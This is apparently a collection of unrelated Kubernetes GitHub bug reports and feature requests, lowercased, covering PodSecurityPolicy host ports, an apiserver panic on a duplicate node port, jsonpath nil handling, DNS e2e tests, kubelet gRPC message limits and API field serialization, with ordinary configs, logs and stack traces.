is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r setting up psp with rbac after following the  docs  https://github.com/kubernetes/examples/blob/master/staging/podsecuritypolicy/rbac/readme.md , i'm unable to create daemonsets/deployments.\r \r   what you expected to happen  :\r - privileged users should be able to run daemonsets/deployments etc.\r - unprivileged users should be restricted\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. followed https://github.com/kubernetes/examples/blob/master/staging/podsecuritypolicy/rbac/readme.md, modified only policies:\r    \r apiversion: extensions/v1beta1\r kind: podsecuritypolicy\r metadata:\r   name: privileged\r spec:\r   privileged: true\r   runasuser:\r     rule: runasany\r   fsgroup:\r     rule: runasany\r   selinux:\r     rule: runasany\r   supplementalgroups:\r     rule: runasany\r   volumes:\r   - ' '\r ---\r apiversion: extensions/v1beta1\r kind: podsecuritypolicy\r metadata:\r   name: restricted\r spec:\r   privileged: false\r   runasuser:\r     rule: runasany\r   fsgroup:\r     rule: runasany\r   selinux:\r     rule: runasany\r   supplementalgroups:\r     rule: runasany\r   hostports:\r   - min: 30000\r     max: 65535\r   volumes:\r   - 'emptydir'\r   - 'gitrepo'\r   - 'secret'\r   - 'nfs'\r   - 'persistentvolumeclaim'\r   - 'downwardapi'\r   - 'configmap'\r   - 'projected'\r    \r \r 2.  created the following rolebindings for namespace 'test':\r    \r   create rolebindings granting admin within the namespace for\r    - ck-admin-restricted\r    - ck-admin-privileged\r apiversion: rbac.authorization.k8s.io/v1beta1\r kind: rolebinding\r metadata:\r   name: test-ck-admin\r   namespace: test\r subjects:\r - kind: group\r   apigroup: rbac.authorization.k8s.io\r   name: ck-admin-restricted\r - kind: group\r   apigroup: rbac.authorization.k8s.io\r   name: ck-admin-privileged\r roleref:\r   apigroup: rbac.authorization.k8s.io\r   kind: clusterrole\r   name: admin\r ---\r apiversion: rbac.authorization.k8s.io/v1beta1\r kind: rolebinding\r metadata:\r   name: test-ck-admin-privileged\r   namespace: test\r subjects:\r - kind: group\r   apigroup: rbac.authorization.k8s.io\r   name: ck-admin-privileged\r roleref:\r   apigroup: rbac.authorization.k8s.io\r   kind: clusterrole\r   name: privileged-psp-user\r ---\r apiversion: rbac.authorization.k8s.io/v1beta1\r kind: rolebinding\r metadata:\r   name: test-ck-admin-restricted\r   namespace: test\r subjects:\r - kind: group\r   apigroup: rbac.authorization.k8s.io\r   name: ck-admin-restricted\r - kind: group\r   apigroup: rbac.authorization.k8s.io\r   name: ck-admin-privileged\r roleref:\r   apigroup: rbac.authorization.k8s.io\r   kind: clusterrole\r   name: restricted-psp-user\r    \r \r - failed daemonset:\r    \r apiversion: extensions/v1beta1\r kind: daemonset\r metadata:\r   name: node-exporter\r spec:\r   template:\r     metadata:\r       labels:\r         app: node-exporter\r       name: node-exporter\r     spec:\r       containers:\r       - image: prom/node-exporter\r         name: node-exporter\r         ports:\r         - containerport: 9100\r           hostport: 9100\r           name: scrape\r    \r \r error-message:\r    2017-07-17 15:49:32 +0200 cest   2017-07-17 15:44:04 +0200 cest   48        node-exporter   daemonset             warning   failedcreate   daemon-set   error creating: pods \ node-exporter-\  is forbidden: unable to validate against any pod security policy:  spec.containers 0 .securitycontext.containers 0 .hostport: invalid value: 9100: host port 9100 is not allowed to be used.  allowed ports:    spec.containers 0 .securitycontext.containers 0 .hostport: invalid value: 9100: host port 9100 is not allowed to be used.  allowed ports:  {30000 65535}     \r \r   anything else we need to know?  :\r creating a single privileged pod works just fine.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.6.6\r - cloud provider or hardware configuration  : bare-metal\r - os  e.g. from /etc/os-release : coreos-1409.6.0\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r 

apparmor validator returns error if the runtime is not  docker .\r \r for other runtime integrated via cri, the runtime will be  remote , and will not be able to provide apparmor support because of this.\r \r currently, we decided to always pass validation for remote runtime, but we need a better solution in the future.\r \r this is similar with https://github.com/kubernetes/kubernetes/issues/50343, and also related to  32803.\r \r /cc @yujuhong @timstclair @feiskyer @mrunalp @mikebrow

 \r   what happened  :\r \r discovered an edge case when testing the file-backed state in the static policy:\r \r 1. run some pinned containers with the static policy\r 1. stop kubelet\r 1. terminate containers\r 1. restart kubelet with the none policy\r 1. restart kubelet with the static policy\r \r the removecontainer calls that we use to clean the state file are delivered to the none policy, which drops them on the floor. when the static policy comes up again, the previously pinned cpus are effectively leaked.\r \r   what you expected to happen  :\r \r the cpus associated with old containers should be properly removed from the state file, regardless of what policy the kubelet is configured to use.\r \r   how to reproduce it  as minimally and precisely as possible   : see above.\r \r   environment  :\r - kubernetes version  use  kubectl version  :  54409\r - cloud provider or hardware configuration: physical workstation\r - os  e.g. from /etc/os-release : linux mint\r - kernel  e.g.  uname -a  : \r - install tools:  hack/local-up-cluster.sh \r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r applying the following yaml causes our apiserver to crash:\r    yaml\r apiversion: v1\r kind: service\r metadata:\r  labels:\r    ttl: never\r  name: svc-web\r spec:\r  ports:\r  - name: web\r    port: 443\r    protocol: tcp\r    targetport: 443\r  - name: web-rpc\r    port: 34562\r    protocol: tcp\r    targetport: 34562\r  selector:\r    app: webapp\r  type: loadbalancer\r    \r \r the error output by kubectl is:\r    \r error: error when applying patch:\r {\ metadata\ :{\ annotations\ :{\ kubectl.kubernetes.io/last-applied-configuration\ :\ {\\\ apiversion\\\ :\\\ v1\\\ ,\\\ kind\\\ :\\\ service\\\ ,\\\ metadata\\\ :{\\\ annotations\\\ :{},\\\ labels\\\ :{\\\ ttl\\\ :\\\ never\\\ },\\\ name\\\ :\\\ svc-web\\\ ,\\\ namespace\\\ :\\\ development\\\ },\\\ spec\\\ :{\\\ ports\\\ : {\\\ name\\\ :\\\ web\\\ ,\\\ port\\\ :443,\\\ protocol\\\ :\\\ tcp\\\ ,\\\ targetport\\\ :443},{\\\ name\\\ :\\\ web-rpc\\\ ,\\\ port\\\ :34562,\\\ protocol\\\ :\\\ tcp\\\ ,\\\ targetport\\\ :34562} ,\\\ selector\\\ :{\\\ app\\\ :\\\ webapp\\\ },\\\ type\\\ :\\\ loadbalancer\\\ }}\ \ }},\ spec\ :{\ type\ :\ loadbalancer\ }}\r to:\r &{0xc421756000 0xc42041cb60 development webapp /tmp/foo.yaml.hoxd1x 0xc4209fdc70 0xc42007e018 286849333 false}\r for: \ /tmp/foo.yaml.hoxd1x\ : patch https:// server :443/api/v1/namespaces/development/services/svc-web: unexpected eof; some request body already written\r    \r the apiserver logs show:\r    \r get /api/v1/namespaces/development/resourcequotas:  877.892µs  200   hyperkube/v1.8.1  linux/amd64  kubernetes/9164d76  127.0.0.1:55468 \r i0125 00:42:33.099086       1 admission.go:58  service development/svc-web missing source ranges. defaulting to  snip .\r e0125 00:42:33.105661       1 runtime.go:66  observed a panic: \ duplicate node port\   duplicate node port \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:72\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:65\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:51\r /usr/local/go/src/runtime/asm_amd64.s:514\r /usr/local/go/src/runtime/panic.go:489\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/registry/core/service/rest.go:598\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/registry/core/service/rest.go:341\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers/rest.go:836\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers/rest.go:1187\r /usr/local/go/src/runtime/asm_amd64.s:2197\r panic: duplicate node port  recovered \r \tpanic: duplicate node port\r \r goroutine 236770  running :\r k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime.handlecrash 0xc43410bf78, 0x1, 0x1 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:58 +0x126\r panic 0x3d77400, 0xc453fe3280 \r \t/usr/local/go/src/runtime/panic.go:489 +0x2cf\r k8s.io/kubernetes/pkg/registry/core/service.  rest .updatenodeports 0xc420d39590, 0xc470149a40, 0xc46c2ec780, 0xc43410be18, 0xc420d39501, 0x9a7a260 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/registry/core/service/rest.go:598 +0x262\r k8s.io/kubernetes/pkg/registry/core/service.  rest .update 0xc420d39590, 0x7ff91caff138, 0xc47b6b51d0, 0xc479fad0a8, 0x16, 0x9a84ba0, 0xc479f2dbc0, 0x0, 0x0, 0xc43ae54e00, ... \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/registry/core/service/rest.go:341 +0xb12\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers.patchresource.func3 0x18, 0x4a49bc8, 0xc43b998778, 0x1 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers/rest.go:836 +0xbb\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers.finishrequest.func1 0xc47eef6c00, 0xc47082ea50, 0xc47eef6b40, 0xc47eef6ae0 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers/rest.go:1187 +0x99\r created by k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers.finishrequest\r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers/rest.go:1192 +0xd9\r panic: duplicate node port  recovered \r \tpanic: duplicate node port\r \r goroutine 236720  running :\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters.withaudit.func1.1 0xc4797c4200, 0x7ff91cbe6838, 0xc4210dd9c0, 0x0, 0x0, 0x0, 0x0, 0x0 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters/audit.go:83 +0x23f\r panic 0x3d77400, 0xc453fe3280 \r \t/usr/local/go/src/runtime/panic.go:489 +0x2cf\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers.finishrequest 0x6fc23ac00, 0xc47082ea50, 0x9a6dd20, 0xc4203f4fc0, 0xc453f88900, 0x2 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers/rest.go:1205 +0x454\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers.patchresource 0x7ff91caff138, 0xc47b6b51d0, 0xc47082ea00, 0x6fc23ac00, 0x9a82960, 0xc470149680, 0x7ff91caa9510, 0xc420d39590, 0xc479fad0a8, 0x16, ... \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers/rest.go:842 +0x714\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers.patchresource.func1 0x9aa0760, 0xc44d082390, 0xc457a66400 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers/rest.go:590 +0xaf3\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints.restfulpatchresource.func1 0xc47b6b5050, 0xc47eef6840 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/installer.go:1093 +0xd5\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/metrics.instrumentroutefunc.func1 0xc47b6b5050, 0xc47eef6840 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/metrics/metrics.go:145 +0x207\r k8s.io/kubernetes/vendor/github.com/emicklei/go-restful.  container .dispatch 0xc4210c37a0, 0x9aa0660, 0xc44d082378, 0xc457a66400 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/emicklei/go-restful/container.go:277 +0xb8d\r k8s.io/kubernetes/vendor/github.com/emicklei/go-restful.  container .dispatch 0xc4210c37a0, 0x9aa0660, 0xc44d082378, 0xc457a66400 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/emicklei/go-restful/container.go:199 +0x57\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server.director.servehttp 0x48a7fc6, 0xe, 0xc4210c37a0, 0xc42054a3f0, 0x9aa0660, 0xc44d082378, 0xc457a66400 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/handler.go:153 +0x6e7\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server.  director .servehttp 0xc420fc4e40, 0x9aa0660, 0xc44d082378, 0xc457a66400 \r \t<autogenerated>:69 +0x86\r k8s.io/kubernetes/vendor/k8s.io/kube-aggregator/pkg/apiserver.  proxyhandler .servehttp 0xc45d018200, 0x9aa0660, 0xc44d082378, 0xc457a66400 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/kube-aggregator/pkg/apiserver/handler_proxy.go:91 +0x122\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux.  pathhandler .servehttp 0xc45d1e1980, 0x9aa0660, 0xc44d082378, 0xc457a66400 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux/pathrecorder.go:248 +0x3dd\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux.  pathrecordermux .servehttp 0xc429086000, 0x9aa0660, 0xc44d082378, 0xc457a66400 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux/pathrecorder.go:234 +0x72\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server.director.servehttp 0x48ac804, 0xf, 0xc428976870, 0xc429086000, 0x9aa0660, 0xc44d082378, 0xc457a66400 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/handler.go:161 +0x301\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server.  director .servehttp 0xc42a546ea0, 0x9aa0660, 0xc44d082378, 0xc457a66400 \r \t<autogenerated>:69 +0x86\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters.withauthorization.func1 0x9aa0660, 0xc44d082378, 0xc457a66400 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters/authorization.go:51 +0x37a\r net/http.handlerfunc.servehttp 0xc427369f40, 0x9aa0660, 0xc44d082378, 0xc457a66400 \r \t/usr/local/go/src/net/http/server.go:1942 +0x44\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters.withmaxinflightlimit.func1 0x9aa0660, 0xc44d082378, 0xc457a66400 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters/maxinflight.go:98 +0x5a0\r net/http.handlerfunc.servehttp 0xc4265fe140, 0x9aa0660, 0xc44d082378, 0xc457a66400 \r \t/usr/local/go/src/net/http/server.go:1942 +0x44\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters.withimpersonation.func1 0x9aa0660, 0xc44d082378, 0xc457a66400 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters/impersonation.go:49 +0x21b2\r net/http.handlerfunc.servehttp 0xc427369f90, 0x9aa0660, 0xc44d082378, 0xc457a66400 \r \t/usr/local/go/src/net/http/server.go:1942 +0x44\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters.withaudit.func1 0x7ff9088c8db8, 0xc44d082350, 0xc457a66400 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters/audit.go:105 +0x52a\r net/http.handlerfunc.servehttp 0xc427fe2000, 0x7ff9088c8db8, 0xc44d082350, 0xc457a66400 \r \t/usr/local/go/src/net/http/server.go:1942 +0x44\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters.withauthentication.func1 0x7ff9088c8db8, 0xc44d082350, 0xc457a66400 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters/authentication.go:79 +0x2b0\r net/http.handlerfunc.servehttp 0xc427fe20f0, 0x7ff9088c8db8, 0xc44d082350, 0xc457a66400 \r \t/usr/local/go/src/net/http/server.go:1942 +0x44\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/request.withrequestcontext.func1 0x7ff9088c8db8, 0xc44d082350, 0xc457a66400 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/request/requestcontext.go:110 +0xef\r net/http.handlerfunc.servehttp 0xc42a546ec0, 0x7ff9088c8db8, 0xc44d082350, 0xc457a66400 \r \t/usr/local/go/src/net/http/server.go:1942 +0x44\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters.  timeouthandler .servehttp.func1 0xc42a546f40, 0x9aa7760, 0xc44d082350, 0xc457a66400, 0xc47eef6600 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters/timeout.go:106 +0x8d\r created by k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters.  timeouthandler .servehttp\r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters/timeout.go:108 +0x1ca\r    \r the only actual change was that the existing service was clusterip and not loadbalancer  despite the last applied annotation .  removing the last applied annotation did not resolve the issue. deleting the service and recreating it did.\r \r   what you expected to happen  :\r service should have been applied\r \r   how to reproduce it  as minimally and precisely as possible   :\r not sure at this point\r \r   anything else we need to know?  :\r \r this seems related to issue  48579\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.8.1\r - cloud provider or hardware configuration: aws\r - os  e.g. from /etc/os-release : coreos\r - kernel  e.g.  uname -a  : linux 4.13.9-coreos  1 smp\r - install tools:\r - others:\r

 \r using kubectl + jsonpath to report the names of the groups, users or serviceaccounts that are in play in a cluster:\r    \r $ kubectl get clusterrolebinding -o jsonpath='{.items : .subjects ? @.kind==\ group\   .name}'\r    \r \r get error message when jsonpath sees a nil instead of an array\r    \r error: error executing jsonpath \ {.items : .subjects ? @.kind==\\\ group\\\   .name}\ : <nil> is not array or slice and cannot be filtered\r    \r \r i expect to see the list of groups\r    \r system:masters system:authenticated system:unauthenticated system:authenticated system:unauthenticated\r    \r \r accessing a v1.9.2 rbac-enabled cluster\r    \r    a  fails:\r $ kubectl get clusterrolebinding -o jsonpath='{.items : .subjects ? @.kind==\ group\   .name}'\r \r    b  fails:\r $ kubectl get clusterrolebinding -o jsonpath='{.items ? @.subjects  .subjects ? @.kind==\ group\   .name}'\r \r    c  succeeds:\r $ kubectl get clusterrolebinding -o jsonpath='{.items ? @.metadata.name!=\ system:node\   .subjects ? @.kind==\ group\   .name}'\r    \r the  system:node  clusterrolebinding doesn't have any subjects, and it serializes the field as \ subjects\ : null , which leads to the error.\r \r case  b  above tries to filter out the elements where  subjects  doesn't exist, but  subjects  does exist and it's nil.  case  c  shows that if the filter is applied and the offending element is gone, then the rest of the kubectl statement works fine.\r \r this isn't a great user experiences, so the problem is one of \r - the jsonpath utility existence filter should filter out fields where the value is nil  ? or is false?? or is default??? \r - the subjects field should not appear in the serialization, i.e. omitempty\r - the subjects field should be serialized as an empty array and not as nil.\r \r if it seems that the problem is with the jsonpath filter rather than clusterrolebinding, please retitle the issue.

is this a bug report or feature request?  :\r  \r   what happened  :\r when running e2e tests on a cluster with the --cluster-domain set the dns tests fail. \r    \r  fail   sig-network  dns  it  should provide dns for services   conformance \r  fail   sig-network  dns  it  should provide dns for the cluster   conformance  \r    \r \r the test are performing look ups on cluster.local instead of the specified cluster domain.\r    \r getent hosts dns-querier-1.dns-test-service.e2e-tests-dns-8zhjr.svc.cluster.local\r dig +notcp +noall +answer +search kubernetes.default.svc.cluster.local a\r dig +tcp +noall +answer +search kubernetes.default.svc.cluster.local a\r podarec=10-0-62-224.e2e-tests-dns-8zhjr.pod.cluster.local\r dig +notcp +noall +answer +search ${podarec} a\r dig +tcp +noall +answer +search ${podarec} a\r    \r \r the tests have hard coded cluster.local in them.\r https://github.com/kubernetes/kubernetes/blob/master/test/e2e/network/dns.go l56\r \r   what you expected to happen  :\r the dns tests should pass.\r \r   how to reproduce it  as minimally and precisely as possible   :\r create a cluster.  run kube dns and setup your kubelets to use the dns specifying a cluster domain that is not cluster.local.\r \r run the e2e tests:\r  kubeconfig=/path/to/kubeconfig kubernetes_conformance_test=y go run hack/e2e.go -- - --test --deployment none --test_args=\ --ginkgo.focus=should\\sprovide\\sdns\\sfor\\sthe\\scluster\\s|should\\sprovide\\sdns\\sfor\\sservices\  \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v.1.9.2\r - cloud provider or hardware configuration: aws\r - os  e.g. from /etc/os-release : amazon linux 2\r - kernel  e.g.  uname -a  : linux ip-10-0-181-107.us-west-2.compute.internal 4.9.81-44.57.amzn2.x86_64  1 smp mon feb 19 17:51:58 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r - others:\r

it'd be great if user could diff current configuration with the one in a file. i imagine output to be a regular smart diff of json files  ignoring version, status etc .

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r use an existing azure file share name should be possible in azure file plugin\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g:  cat /etc/os-release  :\r - kernel  e.g.  uname -a  :\r - install tools:\r - network plugin and version  if this is a network-related bug :\r - others:\r \r  /assign\r

what happened  :\r \r    \r remote_runtime.go:173  listpodsandbox with filter nil from runtime service failed: rpc error: code = resourceexhausted desc = grpc: trying to send message larger than max  8398577 vs. 8388608 \r kuberuntime_sandbox.go:210  listpodsandbox failed: rpc error: code = resourceexhausted desc = grpc: trying to send message larger than max  8398577 vs. 8388608 \r    \r \r   what you expected to happen  :\r \r  listpodsandbox  should not fail because of it's response size.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r n/a.\r \r   anything else we need to know?  :\r \r run batches through argo workflow, but i don't think it's specific to the workloads.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.12\r - cloud provider or hardware configuration: amazon linux 2\r - os  e.g:  cat /etc/os-release  :\r \r    \r name=\ amazon linux\ \r version=\ 2\ \r id=\ amzn\ \r id_like=\ centos rhel fedora\ \r version_id=\ 2\ \r pretty_name=\ amazon linux 2\ \r ansi_color=\ 0;33\ \r cpe_name=\ cpe:2.3:o:amazon:amazon_linux:2\ \r home_url=\ https://amazonlinux.com/\ \r    \r \r - kernel  e.g.  uname -a  : \r \r    \r linux ip-192-168-89-250.us-west-2.compute.internal 4.14.106-97.85.amzn2.x86_64  1 smp fri mar 15 17:07:54 utc 2019 x86_64 x86_64 x86_64 gnu/linux\r    \r \r <br>\r <br>\r my question is:\r \r \r https://github.com/kubernetes/kubernetes/blob/62219e1f66d56fd663fd017e2f43e6dca6f41d59/pkg/kubelet/dockershim/remote/docker_server.go l29-l31\r \r limit is 8 mb.\r \r https://github.com/kubernetes/kubernetes/blob/62219e1f66d56fd663fd017e2f43e6dca6f41d59/pkg/kubelet/remote/utils.go l27-l29\r \r limit is 16 mb.\r \r 1. what's the difference between  pkg/kubelet/dockershim/remote  and  pkg/kubelet/remote ?  pkg/kubelet/dockershim/remote  is for docker, and  pkg/kubelet/remote  is for containerd? can somebody help understand the difference?\r 2. why does  pkg/kubelet/dockershim/remote  have difference limit than  pkg/kubelet/remote ? i think we should give them the same limits.\r \r /cc @dims \r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r   what happened  :\r  typedlocalobjectreference  https://github.com/kubernetes/kubernetes/blob/master/staging/src/k8s.io/api/core/v1/types.go l4626-l4638  has  apigroup  as a   string  and marked as  +optional  without  omitempty  in the json tag directive. \r \r while using this type in cluster api, instead of objectreference, omitting the apigroup results in this error:  spec.infrastructureref.apigroup in body must be of type string: \ null\  .\r \r   what you expected to happen  :\r the field in  typedlocalobjectreference  can be made  omitempty .\r \r   how to reproduce it  as minimally and precisely as possible   :\r - use a type with  typedlocalobjectreference  \r - use a go client to talk to the api-server to create a simple object without specifying apigroup  which is optional \r \r   anything else we need to know?  :\r \r request/response to/from the api-server:\r    \r i0624 15:41:55.082575   88363 request.go:942  request body: {\ kind\ :\ machine\ ,\ apiversion\ :\ cluster.k8s.io/v1alpha2\ ,\ metadata\ :{\ name\ :\ foo\ ,\ namespace\ :\ default\ ,\ creationtimestamp\ :null},\ spec\ :{\ metadata\ :{},\ bootstrap\ :{},\ infrastructureref\ :{\ apigroup\ :null,\ kind\ :\ \ ,\ name\ :\ \ }},\ status\ :{}}\r \r i0624 15:41:55.085642   88363 round_trippers.go:444  response headers:\r i0624 15:41:55.085646   88363 round_trippers.go:447      date: mon, 24 jun 2019 22:41:55 gmt\r i0624 15:41:55.085650   88363 round_trippers.go:447      content-length: 1548\r i0624 15:41:55.085654   88363 round_trippers.go:447      content-type: application/json\r i0624 15:41:55.085693   88363 request.go:942  response body: {\ kind\ :\ status\ ,\ apiversion\ :\ v1\ ,\ metadata\ :{},\ status\ :\ failure\ ,\ message\ :\ machine.cluster.k8s.io \\\ foo\\\  is invalid:   : invalid value: map string interface {}{\\\ apiversion\\\ :\\\ cluster.k8s.io/v1alpha2\\\ , \\\ kind\\\ :\\\ machine\\\ , \\\ metadata\\\ :map string interface {}{\\\ creationtimestamp\\\ :\\\ 2019-06-24t22:41:55z\\\ , \\\ generation\\\ :1, \\\ name\\\ :\\\ foo\\\ , \\\ namespace\\\ :\\\ default\\\ , \\\ uid\\\ :\\\ 445dfcf4-96d1-11e9-bd3d-0c9d92c4bb46\\\ }, \\\ spec\\\ :map string interface {}{\\\ bootstrap\\\ :map string interface {}{}, \\\ infrastructureref\\\ :map string interface {}{\\\ apigroup\\\ :interface {} nil , \\\ kind\\\ :\\\ \\\ , \\\ name\\\ :\\\ \\\ }, \\\ metadata\\\ :map string interface {}{}}}: validation failure list:\ spec.infrastructureref.apigroup in body must be of type string: \\\ null\\\ \ ,\ reason\ :\ invalid\ ,\ details\ :{\ name\ :\ foo\ ,\ group\ :\ cluster.k8s.io\ ,\ kind\ :\ machine\ ,\ causes\ : {\ reason\ :\ fieldvalueinvalid\ ,\ message\ :\ invalid value: map string interface {}{\\\ apiversion\\\ :\\\ cluster.k8s.io/v1alpha2\\\ , \\\ kind\\\ :\\\ machine\\\ , \\\ metadata\\\ :map string interface {}{\\\ creationtimestamp\\\ :\\\ 2019-06-24t22:41:55z\\\ , \\\ generation\\\ :1, \\\ name\\\ :\\\ foo\\\ , \\\ namespace\\\ :\\\ default\\\ , \\\ uid\\\ :\\\ 445dfcf4-96d1-11e9-bd3d-0c9d92c4bb46\\\ }, \\\ spec\\\ :map string interface {}{\\\ bootstrap\\\ :map string interface {}{}, \\\ infrastructureref\\\ :map string interface {}{\\\ apigroup\\\ :interface {} nil , \\\ kind\\\ :\\\ \\\ , \\\ name\\\ :\\\ \\\ }, \\\ metadata\\\ :map string interface {}{}}}: validation failure list:\ spec.infrastructureref.apigroup in body must be of type string: \\\ null\\\ \ ,\ field\ :\   \ } },\ code\ :422}\r    \r

